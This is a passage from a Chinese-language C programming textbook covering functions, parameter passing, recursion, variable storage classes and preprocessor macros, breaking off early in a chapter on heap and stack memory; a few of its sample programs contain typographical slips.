调用此函数时，什么工作也不做，没有任何实际作用。在主调函数中写上dummy()表明这里要调用一个函数，而现在这个函数没有起作用，函数体的具体内容可以等以后扩充函数功能时补充上。在程序设计中往往根据需要确定若干模块，分别由一些函数来实现。而在第一阶段只设计最基本的模块，其他一些次要功能则在以后需要时陆续补上。在编写程序的开始阶段，可以在将来准备扩充功能的地方写上一个空函数，函数名取将来采用的实际函数名（如用merge()、matproduct()、concatenate()、shell()等，分别代表合并、矩阵相乘、字符串连接、希尔法排序等），只是这些函数未编好，先占一个位置，以后用一个编好的函数代替它。这样做，程序的结构清楚，可读性好，方便以后扩充新功能，对程序结构影响不大。空函数在程序设计中常常是有用的。

在C语言中，函数由函数名唯一标识，函数名是一个标识符，它不能与其他函数同名。但是在对C语言进行扩展的C++语言中，函数允许重名。


9.2.2　函数的调用

函数调用的一般形式是：



函数名(参数1,参数2,……,参数n);



参数可以是0个、1个或多个，参数之间以逗号分隔。如函数调用语句"printf（"a is%d"，a）"有两个参数，一个参数是字符串，另一个参数是一个整型变量。

有些函数会有一个返回值，此时调用形式可以是：



变量=函数名(参数1,参数2,……,参数n);



即把函数的返回值赋给变量。

计算机语言中的函数概念类似于数学上的函数，如y=3x+5是一个数学函数，它的自变量是x，函数值是y，其功能是把自变量乘以3，并加上5后，把结果赋给y。计算机语言中的函数的参数就相当于数学上的函数的自变量，它是一个函数的输入。计算机语言中的函数的返回值相当于数学上的函数的函数值，它是一个函数的输出。计算机语言中的函数和数学上的函数一样都具有一定的功能，它们都把输入经过一定的变换后转换为输出。但计算机语言中的一些函数可以没有返回值，其输出值可以以其他方式输出。


9.3　函数的返回值

有时，函数调用的目的是为了得到一个计算结果（即函数值），这时，通常就需要使用返回语句，以便将计算结果返回给调用程序，同时，也使程序的执行流程转到调用语句的下一语句去执行。

函数的值通过return语句返回，返回语句的一般形式如下：



return(表达式);



其中，左、右圆括号可以省略，即：



return表达式;



或者写成：



return;



【例9-2】编程求1+1/2+1/3+……+1/n的值

此题目中，由于n是可变的，不同的n将会得到不同的结果，所以需要把n作为函数的参数。

[1]在Vi中创建一个新工程文件，命名为"example9_2.c"。

[2]在"example9_2.c"中创建如下所示代码。



float count(int n)

{

int i;

float s;

if(n＜=0)

{

printf("The%d is invalid:"n);

return(0);

}

else

{

s=0;

for(i=1;i＜=n;i++)

s+=1.0/i;

return(s);

}

}

main()

{

int n,s;

printf("Input n:");

scanf("%d",＆n);

s=count(n);

printf("s=:%d\n",s);

}



[3]编译并运行程序，结果如图9-3所示。
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图　9-3　程序的运行结果

如果函数有返回值，则在函数定义和函数调用时，一般都应该指明返回值的类型。

在函数定义时，返回值的类型在函数名的前面进行说明。例如：



float count(n)

int n;

{

float s;

...

return(s);

}



其中，函数名count前面的float，即是用于说明return语句中的s的数据类型。

当函数有返回值时，在调用函数中，通常也应当对被调用函数的返回值类型进行说明，这种说明往往是在函数体中的说明部分进行的，它包括函数类型、函数名以及一对圆括号，不包括形参和函数体。如在main函数中调用count()函数时，可进行如下说明：



main()

{

float count();

float s;

...

s=count(20);

...

}



C语言规定，在以下情况下，可以不在调用函数内对被调用函数进行类型说明。1）当被调用函数的定义位于调用函数之前时，可以不必说明。例如：



float count(n)

int n;

{

float s;

...

return(s);

}

main()

{

float s;

...

s=count(10);

...

}



此时由于count()函数的定义位于main()函数的调用之前，所以，在main()函数中，可以不对其类型进行说明。

2）如果函数没有返回值或返回值的类型为整型或字符型，也可以不进行类型说明，系统将自动进行处理。但现在有的编译系统不允许这样，遇到这种情况，在编译时将给出警告信息，这样，最好都进行说明。

3）C语言允许在所有函数的外面、文件的开头对函数的类型进行说明，这样，在调用函数中就可以不对被调用函数的类型进行说明。例如：



float count();

main()

{

float s;

...

s=count(10);

...

}

float count(n)

int n;

{

float s;

...

return(s);

}



由于在文件的开头已经对count()函数进行了类型说明，所以在main()函数中就不再对count()函数进行类型说明了。

下面对函数的返回值进行说明。

1）当函数的返回值为整型时，在函数定义时，返回值的类型说明可以省略，也就是说系统默认的返回值类型为整型。

2）当函数有返回值时，凡是允许表达式出现的地方，都可以调用该函数。例如，由于上面定义的count()函数是有返回值的，所以，它就可以在下列表达式中被调用：



y=count(3)*5;



其执行过程是先调用count()函数，然后将count()函数的返回值乘以5后赋给变量y。

3）当函数没有返回值时，函数的返回值类型可以说明为void型，它表示“无类型”或“空类型”。在调用无返回值的函数时，往往是以单独的调用语句出现的。常用的printf()函数就是这种形式的函数调用：



printf("HELLO!");



4）在一般情况下，函数的返回值类型应当与return语句中的表达式的值的类型一致，但C语言也允许不同，这时，则以函数定义时的返回值类型说明为准，并自动地将return语句中的表达式的值转换为函数的返回值类型。

5）C语言允许在没有返回值的函数中使用return语句，以便立即结束函数的执行，返回到调用函数中。没有返回值的return语句的一般形式为：



return;



【例9-3】编一个函数，求x的n次方的值，其中n是整数。

该程序可以将x和n作为函数参数，所求结果通过return语句返回调用程序。

[1]在Vi中创建一个新工程文件，命名为"example9_3.c"。

[2]在"example9_3.c"中创建如下所示代码。



#include＜stdio.h＞

float pw(x,n);

float x;

int n;

{

float m;

if(n==0)

m=1;

else if(n==1)

m=x;

else if(n＞1)

m=pw(x,n-1)*x;

else

m=1/(pw(x,n-1)*x);

return m;

}

main()

{

float x;

int n;

printf("input x and n:\n");

scanf("%f",＆x);

scanf("%d",＆n);

printf("x的n次方=%f\n",pw(x,n));

}



[3]编译并运行程序，结果如图9-4所示。
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图　9-4　求x的n次方的值

使用库函数应注意函数功能、函数参数的数目和顺序，及各参数的意义和类型、函数返回值的意义和类型和需要使用的包含文件，如：math.h、stdio.h等。


9.4　函数的参数及其传递方式

函数的参数主要用于在调用函数和被调用函数之间进行数据传递。在函数定义时，函数名后面圆括号内的参数称为形式参数，简称形参；在函数调用时，函数名后面圆括号内的参数称为实际参数，简称实参。在函数调用时，首先需要将实参传递给形参，然后才能执行函数体。在C语言中，参数的类型不同，其传递方式也不完全相同。下面给出C语言中的参数传递方式。


 9.4.1　非数组作为函数参数

在函数调用时，C语言编译系统根据形参的类型为每个形参分配存储单元，并将实参的值复制到对应的形参单元之中，换句话说，当非数组作为函数参数时，形参和实参分别占用不同的存储单元，实参和形参的这种处理方式被称为“值传递”方式，即只能将实参的值传递给形参，而不能将形参的值传递给实参，形参值的改变不影响与其对应的实参。

【例9-4】函数参数的“值传递”方式

编写一个程序，将一个整数乘以100后显示出来。

[1]在Vi中创建一个新工程文件，命名为"example9_4.c"。

[2]在"example9_4.c"中创建如下所示代码。



#include"stdio.h"

int mult(n)

int n;

{

n*=100;

return(n);

}

main()

{

int m;

int result;

m=10;

result=mult(m);

printf("result=%d\n",result);

printf("m=%d\n",m);

}



[3]编译并运行程序，结果如图9-5所示。
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图　9-5　函数参数的“值传递”运行结果

这一运行结果表明，尽管形参n的值在mult()函数中被改变了，但由于实参m和形参n分别占用不同的单元，所以形参n的改变并不影响与其对应的实参m的值，mult()函数调用之前，m的值是10，mult()函数调用之后，m的值仍然是10。


9.4.2　数组作为函数参数

单个数组元素可以作为函数参数，这同非数组作为函数参数的情形完全一样，即遵守“值传递”方式。这里主要讨论数组名作为函数参数的处理方法。

1.数组元素作函数实参

【例9-5】两个数组比较大小

a和b分别为有10个元素的整型数组，比较两数组对应元素的大小。

[1]在Vi中创建一个新工程文件，命名为"example9_5.c"。

[2]在"example9_5.c"中创建如下所示代码。



#include＜stdio.h＞

int large(int x,int y)

{

int flag;

if(x＞y)flag=1;

else if(x＜y)flag=-1;

else flag=0;

return(flag);

}

main()

{

int a[10],b[10],i,n=0,m=0,k=0;

printf("Enter array a:\n");

for(i=0;i＜10;i++)

scanf("%d",＆a[i]);

printf("Enter array b:\n");

for(i=0;i＜10;i++)

scanf("%d",＆b[i]);

for(i=0;i＜10;i++)

{

if(large(a[i],b[i])==1)n=n+1;

else if(large(a[i],b[i])==0)m=m+1;

else k=k+1;

}

printf("%d,%d,%d",n,m,k);

}



[3]编译并运行程序，结果如图9-6所示。
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图　9-6　两个数组比较大小的结果

2.数组名作为函数参数

数组名作为函数参数时，不是采用“值传递”方式，而是采取“地址传递”方式，也就是说，在函数调用时，是把实参数组的起始地址传递给形参数组，这样，形参数组和实参数组实际上占用同样的存储区域，对形参数组中某一元素的存取，也就是存取相应实参数组中的对应元素。

【例9-6】计算学生的平均成绩

输入10个学生的成绩，求学生成绩的平均值。

[1]在Vi中创建一个新工程文件，命名为"example9_6.c"。

[2]在"example9_6.c"中创建如下所示代码。



#include＜stdio.h＞

float aver(int stu[10],int n);

void main()

{

int score[10],i;

float av;

printf("Input 10 scores:\n");

for(i=0;i＜10;i++)

scanf("%d",＆score[i]);

av=aver(score,10);

printf("Aver is:%.2f",av);

}

float aver(int stu[10],int n)

{

int i;

float av,total=0;

for(i=0;i＜n;i++)

total+=stu[i];

av=total/n;

return av;

}



[3]编译并运行程序，结果如图9-7所示。
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图　9-7　求10个学生的平均成绩


9.5　函数的嵌套调用和递归调用

下面介绍C语言函数的调用方式，所谓调用就是一个函数被另外的函数使用。本节介绍两种函数的调用方式：嵌套调用和递归调用。


 9.5.1　函数的嵌套调用

C语言中的函数定义是独立的，一个函数既可以被其他函数调用，同时，它也可以调用别的函数，这就是函数的嵌套调用。函数的嵌套调用为自顶向下、逐步求精及模块化的结构化程序设计技术提供了最基本的支持。图9-8表示的是两层嵌套（带上main()函数共3层函数）。
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图　9-8　函数的两层嵌套

【例9-7】最大和最小数的差值计算

编程求三个数中最大数和最小数的差值。

[1]在Vi中创建一个新工程文件，命名为"example9_7.c"。

[2]在"example9_7.c"中创建如下所示代码。



#include＜stdio.h＞

int cha(int x,int y,int z);

int max(int x,int y,int z);

int min(int x,int y,int z);

void main()

{

int a,b,c,d;

scanf("%d%d%d",＆a,＆b,＆c);

d=cha(a,b,c);

printf("Max-Min=%d\n",d);

}

int cha(int x,int y,int z)

{

return max(x,y,z)-min(x,y,z);

}

int max(int x,int y,int z)

{

int r;

r=x＞y?x:y;

return(r＞z?r:z);

}

int min(int x,int y,int z)

{

int r;

r=x＜y?x:y;

return(r＜z?r:z);

}



[3]编译并运行程序，结果如图9-9所示。
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图　9-9　求3个数中最大数和最小数的差值

其函数调用的过程如图9-10所示。
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图　9-10　例9-7中函数的调用过程


9.5.2　函数的递归调用

递归调用是程序设计中常用的方法之一，函数直接或间接地调用自身叫函数的递归调用。有两种形式的函数递归调用，一种是直接递归调用，即一个函数可直接调用该函数本身。例如：



int f(int x)

{

int y,z;

...

z=f(y);

...

return(2*z);

}



还有一种是间接调用本函数。例如：
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在调用函数f1的过程中要调用函数f2，而在调用函数f2时又要调用函数f1。

C编译系统对递归函数的自调用次数没有限制，每调用函数一次，在内存堆栈区分配空间，用于存放函数变量、返回值等信息，所以递归次数过多，可能引起堆栈溢出。


9.6　变量的作用域及其存储类型

C语言程序占用的存储空间通常分为3部分，分别被称为程序区、静态存储区和动态存储区，如图9-11所示。其中，程序区中存放的是程序的机器指令；数据分别存放在静态存储区和动态存储区中。全局变量存放在静态存储区中，在程序开始执行时给全局变量分配存储区，程序执行完毕就释放。在程序执行过程中它们占据固定的存储单元，而不是被动态地分配和释放。

在C语言中每一个变量和函数有两个属性：数据类型和数据的存储类别。关于数据类型前面章节已经介绍过，数据的存储类别是指数据在内存中的存储方法，分为静态存储类和动态存储类。
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图　9-11　C语言存储空间


 9.6.1　局部变量及其存储类型

局部变量也称为内部变量。局部变量是在函数内作定义说明的。其作用域仅限于函数内，离开该函数后再使用这种变量是非法的。局部变量有三种存储类型：自动类（auto）、静态类（static）和寄存器类（register）。

1.自动类变量

在函数内定义的变量，如果不指定其存储类型，那么它就是自动类存储变量。例如：



int f(x)

int x;

{

auto int y,z=5;

...

}



x是形式参数，y、z是自动变量，对z赋初值5。执行完函数f以后自动释放所占的存储单元。

C语言规定，函数内凡未加存储类型说明的变量均视为自动变量，也就是说自动变量可缺省说明符auto。

2.静态类变量

如果希望在函数调用结束后仍然保留函数中定义的局部变量的值，则可以将该局部变量定义为静态局部变量。在定义静态局部变量时，应该在定义变量的类型说明符的前面使用static关键字。

例如：



static int a,b;

static float a[3]={1,2,3};



静态局部变量属于静态存储方式，它具有以下特点：

1）静态局部变量在函数内定义，但不像自动变量那样，当调用时就存在，退出函数时就消失。静态局部变量始终存在着，也就是说它的生存期为整个源程序。

2）静态局部变量的生存期虽然为整个源程序，但是其作用域仍与自动变量相同，即只能在定义该变量的函数内使用该变量。退出该函数后，尽管该变量还继续存在，但不能使用它。

3）允许对构造类静态局部量赋初值。在数组一章中，介绍数组初始化时已作过说明。若未赋以初值，则由系统自动赋以0值。

4）对基本类型的静态局部变量若在说明时未赋以初值，则系统自动赋予0值。而对自动变量不赋初值，则其值是不定的。根据静态局部变量的特点，可以看出它是一种生存期为整个源程序的量。虽然离开定义它的函数后不能使用，但如再次调用定义它的函数时，它又可继续使用，而且保存了前次被调用后留下的值。因此，当多次调用一个函数且要求在调用之间保留某些变量的值时，可考虑采用静态局部变量。虽然用全局变量也可以达到上述目的，但全局变量有时会造成意外的副作用，因此仍以采用局部静态变量为宜。

3.寄存器变量

为了提高程序的执行效率，C语言允许将局部变量的值存放在CPU的寄存器中，使用时，不需要访问内存，而直接从寄存器中读写，这样可提高效率。寄存器变量的说明符是register。

【例9-8】阶层计算

下面设计一个程序示例，利用寄存器变量来计算阶层。

[1]在Vi中创建一个新工程文件，命名为"example9_8.c"。

[2]在"example9_8c"中创建如下所示代码。



main()

{

int i;

for(i=1;i＜=5;i++)

printf("%d!=%d\n",i,f(i));

}

int f(n)

int n;

{

register int i,j=1;

for(i=1;i＜=n;i++)

j=j*i;

return(j);

}



[3]编译并运行程序，结果如图9-12所示。
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图　9-12　寄存器变量的使用

定义局部变量i和j是寄存器变量，n的值越大越能节省时间。

对寄存器变量还要说明以下几点：

1）只有局部自动变量和形式参数才可以定义为寄存器变量，因为寄存器变量属于动态存储方式。凡需要采用静态存储方式的量不能定义为寄存器变量。

2）不同的系统对register变量的处理是不同的。

3）即使能真正使用寄存器变量的机器，由于CPU中寄存器的个数是有限的，因此使用寄存器变量的个数也是有限的。

4）局部静态变量不能定义为寄存器变量，不能写成：



register ststic int x,y,z;



不能把变量x、y、z既放在静态存储区，又放在寄存器中，二者只能取其一。


9.6.2　全局变量及其存储类型

全局变量也称为外部变量，它是在函数外部定义的变量。它不属于哪一个函数，它属于一个源程序文件，其作用域是整个源程序。全局变量有外部、静态两种存储方式。

1）全局变量一般用外部存储方式存储，用保留字extern加以定义。此时，变量的作用域是构成整个程序的所有程序文件，也就是定义的外部变量可供其他程序文件使用。使用这样的全局变量一定要非常慎重，一旦产生错误，将波及整个程序。

2）如果希望全局变量仅限于本程序文件使用，而其他程序文件不能引用，这时必须将其存储方式定义为静态存储方式，用保留字static加以定义，此时称为静态外部变量。

值得注意的是，对全局变量加static，定义为静态存储方式，并不意味着是静态存储；而不加static，是动态存储。两种形式的全局变量（外部变量）都是静态存储方式，都是编译时分配存储空间，但作用域不同。使用静态外部变量，有利于隔离错误，有利于模块化程序设计。

3）全局变量的缺省存储方式是外部存储方式。


9.7　内部函数和外部函数

一个C语言程序可以由多个函数组成，这些函数既可以在一个文件中，也可以分散在多个不同的文件中，根据这些函数的使用范围，可以把它们分为内部函数和外部函数。

1.内部函数

如果在一个源文件中定义的函数只能被本文件中的函数调用，而不能被同一源程序其他文件中的函数调用，这种函数称为内部函数。定义内部函数的一般形式是：



static类型说明符函数名(形参表)



例如：



static int f(int a,int b)



内部函数也称为静态函数。但此处静态static的含义已不是指存储方式，而是指对函数的调用范围只局限于本文件。因此在不同的源文件中定义同名的静态函数不会引起混淆。

2.外部函数

函数在本质上都具有外部性质，除了内部函数（静态函数）之外，其余的函数都可以被其他文件中的函数所调用，有时为了明确这种性质，可以在函数定义和调用时使用extern说明。如：



extern int f(int a,int b)



函数f可以被其他文件调用，如果在定义时省略extern，则隐含为外部函数。


9.8　编译预处理

C语言提供了编译预处理的功能，C程序的源代码中可包括各种编译指令，这些指令称为预处理命令。虽然它们实际上不是C语言的一部分，但却扩展了C程序设计的环境。在C语言程序中加入一些编译预处理命令可以提高编程效率，加快编译速度。下面将介绍如何应用预处理程序和注释简化程序开发过程，并提高程序的可读性。

C语言提供的预处理功能主要有以下3种：

·宏定义：#define

·文件包含：#include

·条件编译：#if——#else——#endif等


 9.8.1　宏定义

C语言允许在程序中用一个标识符来表示一个字符串，称为宏，标识符称为宏名。在编译预处理时，将程序中所用的宏名用相应的字符串来替换，这一过程称为宏替换。宏可以分为有参数的宏和无参数的宏两种。

1.不带参数的宏定义

不带参数宏定义的一般形式为：



#define 宏名 宏体



功能：用指定标识符（宏名）代替字符序列（宏体）。#代表本行是编译预处理命令，define是宏定义的关键词。

例如：



#define PI 3.1415926



它定义的宏名为PI，所对应的常数是3.1415926。这样，在该定义下面的源程序中，凡出现PI的地方，预处理均以常数3.1415926代替。

通常，#define行出现在源程序的首部，也可以安排在源程序的任何位置上，但一定要在使用宏名之前用#define行对它进行宏定义。需要说明的有以下几点。

1）宏名一般用大写字母来表示，以示与变量的区别，但宏名如果用小写也是合法的。

2）使用宏名代替一个字符串，可以减少程序中重复书写某些字符串的工作量，提高程序的可读性，使程序便于修改。当需要改变某个常量时，只需要改变宏定义语句的命令行，程序重新编译后，程序中的符号常量将全部被修改，以避免多次重复修改字符串的麻烦及可能带来的错误。

3）宏定义不是C语言语句，不要求在行末加分号。如果加上分号则会与分号一起进行宏替换，将会产生语法错误。

4）在宏定义中，可以引用已经定义的宏名，可以进行层层代换。例如：



#define PI 3.1415926

#define NUM 10

#define CIR PI*NUM



如



C=2*CIR;



将会替换为



C=2*3.1415926*10;



5）宏定义的有效范围为定义点到该源文件结束，但可以用#undef命令终止宏定义的作用域，如以下程序所示。



#define PI 3.1415926

main()

{

...

}

#undef PI

f()

...



#undef命令的作用使得宏名PI的作用范围在此终止，因此在下面的函数f()中，宏定义语句#define PI 3.1415926将不起作用，这样可以灵活地控制宏定义的作用范围。

6）在源程序中用英文双引号括起来的字符串内出现与宏名相同的字符，则这些字符作为普通字符，而不作为宏名，即在编译预处理时不进行宏替换。

7）宏替换时，只会按定义将宏名替换成相应的常量表达式或字符串，而不会增加任何其他字符（如圆括号（）等）。

2.带参数的宏定义

带参数的宏定义是指宏名后带有形参表的宏定义。对于带参数的宏定义，编译预处理时对源程序出现的宏不仅进行字符串代换，而且还要进行参数代换。其一般格式为：



#define宏名(形参表)表达式



其中，宏定义中的形参在以后的程序中将以实参替换。如果有多个形参，形参之间用逗号隔开。如：



#define S(a,b)a*b

...

area=S(4,5);



定义矩形的面积，a和b是矩形的边长。

对带参数的宏定义的置换如下：在程序中如果有带实参的宏，则按#define命令行中指定的字符串从左到右进行置换。如果串中包含宏中的形参，则将程序语句中相应的实参代替形参，如果宏定义中字符串中的字符不是参数字符，则保留。

【例9-9】计算圆的面积

下面设计一个程序示例，来计算圆的面积，要求使用宏定义。

[1]在Vi中创建一个新工程文件，命名为"example9_9.c"。

[2]在"example9_9.c"中创建如下所示代码。



#define PI 3.1415926

#define S(r)PI*r*r

main()

{

float x,area;

x=3.5;

area=S(x);

printf("r=%f\n area=%f\n",x,area);

}



[3]编译并运行程序，结果如图9-13所示。
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图　9-13　带参数的宏定义的使用

说明：

1）对带参数的宏的展开只是将语句中的宏名后面括号内的实参字符串代替#define命令中的形参。

2）在进行宏定义时，在宏名与带参数的括号之间不应加空格，否则将空格以后的字符都作为替代字符串的一部分。

带参数的宏定义与函数比较相似，但两者有本质的区别，现说明如下。

·函数调用时，先求出实参表达式的值，再把此值传递给形参；而使用带参数的宏时，只是简单的字符替换，在宏展开时，不对表达式求值。

·函数调用是在程序运行中进行处理，为该函数中的变量和形参临时分配存储单元，调用结束后，系统回收；而宏展开是在编译前进行替换，展开时并不分配存储单元，不进行值传递，也没有“返回值”的概念。

·对函数中的实参和形参要定义一致的类型；而宏替换无类型要求，宏名和参数都没有类型，只是一个符号代表，展开只是相应的字符代换。

·调用函数只可以得到一个返回值，而用宏可以设法得到几个结果。


9.8.2　文件包含处理

文件包含是指一个程序文件将另一个指定文件的全部内容包含进来，插入到命令所在的位置，取代原来定的命令行。其一般格式为：



#include＜被包含文件名＞



或



#include"被包含文件名"



其中被包含文件名是一个已经存在于系统中的文件的名字。被包含的文件称为“标题文件”或“头文件”，常以".h"为后缀。例如：



#include＜stdio.h＞



它的功能是将头部文件stdio.h的全部内容嵌入到该预处理命令行处，使它成为源程序的一部分。如图9-14所示，这是文件包含的示意图。图9-14a为文件file1.c，它有一个#include"file2.c"命令，然后还有其他内容（用A表示）。图9-14b为另一个文件file2.c，文件内容以B表示。在编译预处理时，要对#include命令进行“文件包含”处理：将file2.c的全部内容复制插入到#include"file2.c"命令处，将file2.c包含到file1.c中，得到如图9-14c所示的结果。

文件包含命令中的文件名既可以用尖括号也可以用双引号括起来，它们的区别在于查找指定文件的位置不同。尖括号只在缺省目录里找指定文件，缺省目录是由用户设置的编程环境决定的。双引号则先在源程序文件所在的当前目录里查找指定文件，如果没有找到再到缺省目录里找。如果指定文件与当前编写的源程序处在同一个目录里，就必须使用双引号来包含该文件，否则编译程序时编译器会报告找不到指定的头文件。
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图　9-14　文件包含示意图

【例9-10】文件包含处理

下面编写程序来实现文件包含处理。

[1]在Vi中创建一个新工程文件，命名为"powers.h"。

[2]在"powers.h"中创建如下所示代码。



#define sqr(x)((x)*(x))

#define cube(x)((x)*(x)*(x))

#define quad(x)((x)*(x)*(x)*(x))



[3]再创建一个新工程文件，命名为"example9_10.c"。

[4]在"example9_10.c"中创建如下所示代码。



#include＜stdio.h＞

#include"powers.h"

#define MAX_POWER 10

void main()

{int n;

printf("number\t exp2\t exp3\t exp4\n");

printf("----\t----\t-----\t------\n");

for(n=1;n＜=MAX_POWER;n++)

printf("%2d\t%3d\t%4d\t%5d\n",n,sqr(n),cube(n),quad(n));

}



[5]编译并运行程序，结果如图9-15所示。
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图　9-15　文件包含处理

文件包含命令是很有用的，它可以节省程序设计人员的重复劳动。文件包含预处理行通常放在程序的开头，其被包含的文件内容常是一些公用的宏定义或外部变量的说明（用extern标识符说明，而不是外部变量的定义），当它们出错或因某种原因需要修改其内容时，只需修改相应的头部文件的内容，而不必修改使用它的程序文件，从而有利于程序的更新维护。

被包含的文件也只能是源程序文件，其扩展名可以是".c"或".h"。编译系统提供了许多“头文件”，如前面已用过的math.h、stdio.h等，文件扩展名".h"表示这些文件的性质为“头文件”。一个#include命令只能指定一个包含文件，若要包含多个文件，则必须用多条#in-clude命令。文件包含可以嵌套，即被包含的文件中还可以再包含另外的被包含文件。

如果要调用编译系统所提供的库函数，则必须把相应的“头文件”包含到所编写的源文件中。


9.8.3　条件编译

C语言的编译预处理还提供了条件编译功能。所谓条件编译，是指在编译源文件前，根据给定的条件决定编译的范围。一般情况下，源程序中所有的行都参加编译。但有时希望对其中的一部分内容只在满足一定条件下才进行编译，即对一部分内容指定编译条件。当条件满足时，对一组语句进行编译，当条件不满足时，则对另一组语句进行编译。条件编译命令一般有以下三种格式。

1.格式一



#ifdef标识符

程序段1

#else

程序段2

#endif



它的作用是若标识符已经被定义过，则对程序段1进行编译，否则对程序段2进行编译。其中"#else"部分可以没有。这里的“程序段”可以是C语言中任意合法的语句组或命令行，其中包括复合语句、说明语句和预处理命令等。

2.格式二



#ifndef标识符

程序段1

#else

程序段2

#endif



这种格式的条件编译功能与第一种格式刚好相反，即若标识符未被定义过，则对程序段1进行编译，否则对程序段2进行编译。

3.格式三



#if表达式

程序段1

#else

程序段2

#endif



它的作用是若指定的表达式的值为真（非0），则对程序段1进行编译，否则对程序段2进行编译。

如果不用条件编译，而直接使用if…else语句也可以达到要求，但是采用条件编译可以减少被编译的语句，从而减少可执行语句的长度，缩短程序的运行时间。


9.9　实践拓展

1.C语言嵌入式系统编程使用宏定义优化性能

在C语言中，宏是产生内嵌代码的唯一方法。对于嵌入式系统而言，为了能达到性能要求，宏是一种很好的代替函数的方法。写一个“标准”宏MIN，这个宏输入两个参数并返回较小的一个。

错误做法：



#define MIN(A,B)(A＜=B?A:B)



正确做法：



#define MIN(A,B)((A)＜=(B)?(A):(B))



对于宏，需要知道三点：

1）宏定义“像”函数。

2）宏定义不是函数，因而需要括上所有“参数”。

3）宏定义可能产生副作用。

2.函数使用中函数的实参和形参类型不一致将导致错误

如下程序中，函数的实参和形参不一致，将会导致错误。



function(float x,float y)

main()

{

int a=5,b=12;

c=function(a,b);

...

}



3.宏使用中由操作符优先级引起的问题

宏的定义不一定要有完整的、配对的括号，但是为了避免出错并且提高可读性，最好避免这样使用。宏的参数如果是复合结构，那么通过替换之后可能由于各个参数之间的操作符优先级高于单个参数内部各部分之间相互作用的操作符优先级，如果不用括号保护各个宏参数，可能会产生预想不到的情形。例如：



#define div(x,y)(x+y)/y

a=div(b＆c,d);



将被转化为：



a=(b＆c+d))/d;



该式等同于：



a=(b＆(c+d))/d;/*+/-的优先级高于＆*/



这显然不是想要的结果，为了避免这种情况发生，应当多写几个括号：



#define div(x,y)(((x)+(y))/(y))



4.变量的作用域和生存期

对一个变量的性质可以从两个方面分析，一是从变量的作用域，一是从变量值存在时间的长短，即生存期。前者从空间的角度，后者从时间的角度。二者存在联系但不是一回事。如果一个变量在某个文件或函数范围内是有效的，则称该文件或函数为该变量的作用域，在此作用域内可以引用该变量。如果一个变量值在某一时刻是存在的，则认为这一时刻属于该变量的生存期，或称此变量在此时刻存在。


9.10　思考与练习

1.C语言中提供的预处理命令有何特点？常用的预处理命令有哪几种？

2.什么是宏定义？什么是宏替换？

3.带参数宏定义的格式是怎样的？使用带参数宏定义时应注意哪些事项？带参数宏定义与函数有何区别？

4.文件包含命令格式是怎样的？被包含文件的引用有哪两种方式？

5.条件编译的含义是什么？常用的条件编译命令格式有哪几种？

6.写出下面程序的输出结果。



#include＜stdio.h＞

int change(char*c,int status);

main()

{

int flag=1;

char ch;

do

{

ch=change(＆ch,flag);

putchar(ch);

}

while(ch!='.');

printf("\n");

}

int change(char*c,int flag)

if(*c==")return 1;

else

{

if(status＆＆*c＜='z'＆＆*c＞='a')*c+='A'-'a';

return 0;

}



7.阅读下面程序，说出程序功能并给出运行结果。



long fib(int g)

{

switch(g)

{

case 0:return 0;

case 1:

case 2:return1;

}

return(fib(g-1)+fib(g-2));

}

main()

{

long k;

k=fib(7);

printf("k=%d\n",k);

}




第10章　动态内存的堆与栈

本章要点：

程序内存区域的使用

C程序中栈的应用

C程序中堆空间的使用

堆内存和栈内存使用的比较


 10.1　程序内存区域的使用

本节介绍程序内存区域的使用，包括C语言程序的存储区域、内存的3种分配方式和C语言中的动态内存。


 10.1.1　C语言程序的存储区域

由C语言代码（文本文件）形成可执行程序（二进制文件），需要经过编译—汇编—链接三个阶段。编译过程把C语言文本文件生成汇编程序，汇编过程把汇编程序形成二进制机器代码，链接过程则将各个源文件生成的二进制机器代码文件组合成一个文件。

1.C程序的存储区

在C语言程序运行的过程中，需要内存来存储数据。C语言程序所使用的内存总体可以分为两类：一类是静态的存储区，一类是动态的存储区。

C语言编写的程序经过编译—链接后，将形成一个目标文件（一般以.o为扩展名）。C语言目标文件的主体部分是由C语言各种语法生成的各段。在程序运行时又会产生其他几个部分，各个部分代表了不同的存储区域。

（1）代码段（code或text）

代码段存放着程序的机器码和只读数据。在C语言中，程序语句进行编译后，形成机器代码。在执行程序的过程中，CPU的程序计数器指向代码段的每一条机器代码，并由处理器依次运行。代码段通常是只读，对它的写操作是非法的。

（2）只读数据段（RO data）

只读数据段是程序使用的一些不会被更改的数据，使用这些数据的方式类似查表式的操作，由于这些变量不需要更改，因此只需要放置在只读存储器中。

（3）已初始化读写数据段（RW data）

已初始化数据是在程序中声明，并且具有初值的变量，这些变量需要占用存储器的空间，在程序执行时它们需要位于可读写的内存区域内，并具有初值，以供程序运行时读写。

（4）未初始化数据段（BSS）

未初始化数据是在程序中声明，但是没有初始化的变量，这些变量在程序运行之前不需要占用存储器的空间。

（5）堆区（heap）

堆内存只在程序运行时出现，一般由程序员分配和释放。在具有操作系统的情况下，如果程序没有释放，可能在程序（例如一个进程）结束后由操作系统回收内存。

（6）栈区（stack）

栈内存只在程序运行时出现，在函数内部使用的变量的值、函数的参数值以及返回值将使用栈空间，栈空间由编译器自动分配和释放，其操作方式类似于数据结构中的栈。C语言目标文件的内存布局如图10-1所示。
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图　10-1　C语言目标文件的内存布局

代码段、只读数据段、读写数据段、未初始化数据段属于静态存储区域，而堆和栈属于动态存储区域。代码段、只读数据段和读写数据段将在编译—链接之后产生，未初始化数据段将在程序初始化的时候开辟，而堆和栈将在程序的运行中分配和释放。C语言程序的存储区如图10-2所示。

[image: ]


图　10-2　C语言程序的存储区

2.C程序的内存分配

C语言程序分为映像和运行时两种状态。在编译—链接后形成的映像中，将只包含代码段、只读数据段和读写数据段。在程序运行之前，将动态生成未初始化数据段，在程序运行时还将动态形成堆区域和栈区域。

一般来说，在静态的映像文件中，各个部分称之为节（section），而在运行时的各个部分称之为段（segment）。如果不详细区分，可以统称为段。

内存分配方式有三种：

1）从静态存储区域分配。内存在程序编译的时候就已经分配好，这块内存在程序的整个运行期间都存在。例如全局变量、static变量。

2）在栈上创建。在执行函数时，函数内局部变量的存储单元都可以在栈上创建，函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中，效率很高，但是分配的内存容量有限。

3）从堆上分配，亦称动态内存分配。程序在运行的时候用malloc()函数申请任意大小的内存，程序员自己负责在何时释放内存。动态内存的生存期由程序员决定，使用非常灵活，但如果在堆上分配了空间，就有责任回收它，否则运行的程序会出现内存泄漏，频繁地分配和释放不同大小的堆空间将会产生堆内碎块。

下面给出一个内存分配的示例。



int a=0;/*全局初始化区*/

char*p1;/*全局未初始化区*/

int main()

{

